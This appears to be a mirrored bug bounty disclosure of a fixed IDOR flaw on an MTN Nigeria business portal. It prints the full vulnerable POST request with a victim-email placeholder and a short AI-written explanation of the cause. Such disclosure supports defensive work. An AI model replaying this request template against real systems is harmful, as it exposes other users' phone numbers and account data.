IDOR at mtnmobad.mtnbusiness.com.ng leads to PII leakage.
An endpoint that returns user notes accepted an email address supplied by the caller and returned another user's private account data. An attacker who knew a victim's email address could retrieve their phone number and account information.
Originally disclosed on HackerOne
- Triaged in 11 hours
- Fixed in 2 months
- Disclosed after 23 months
Summary:
Hello team, i found an IDOR at https://mtnmobad.mtnbusiness.com.ng/ that allows an attacker to enumerate data such as personal phone number and and account information justt from knowing the email.
The vulnerable request is the following:
POST /app/getUserNotes HTTP/1.1
Host: mtnmobad.mtnbusiness.com.ng
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 195
Origin: https://mtnmobad.mtnbusiness.com.ng
Connection: close
Referer: https://mtnmobad.mtnbusiness.com.ng/
Cookie: G_ENABLED_IDPS=google; connect.sid=s%3ATYGgZ8wqgEinB9zX0d7-OdZyt2jXa_ev.hQw0FOvTD5bB159jCtqA%2BXv7z%2FHROL%2B2vSS6mNK%2FqVg
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"params":{"updates":[{"param":"user","value":{"userEmail":"<PUT_VICTIM_EMAIL_HERE>"},"op":"a"}],"cloneFrom":{"updates":null,"cloneFrom":null,"encoder":{},"map":null},"encoder":{},"map":null}}
Simply replace the place holder <PUT_VICTIM_EMAIL_HERE> with the victim's email and you can see private data about his account such as phone number and account information, as you can see that's PII information being leaked.
Impact
PII leakage.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server trusted the user-supplied email in the request body to choose which account's data to return, without verifying it belonged to the authenticated session.
What the attacker needed
An authenticated account; knowledge of the victim's email
How it was found
- Send a request to the user notes endpoint while authenticated.
- Replace the email value in the request body with the victim's email address.
- Observe the response containing the victim's phone number and account information.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
An IDOR (insecure direct object reference) is when a website looks up a record using an identifier the user sends, without checking that the user is allowed to see that record. Here the identifier was an email address, so anyone who knew someone's email could ask the server for that person's notes and account details. The server should have checked that the logged-in user matched the requested account.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.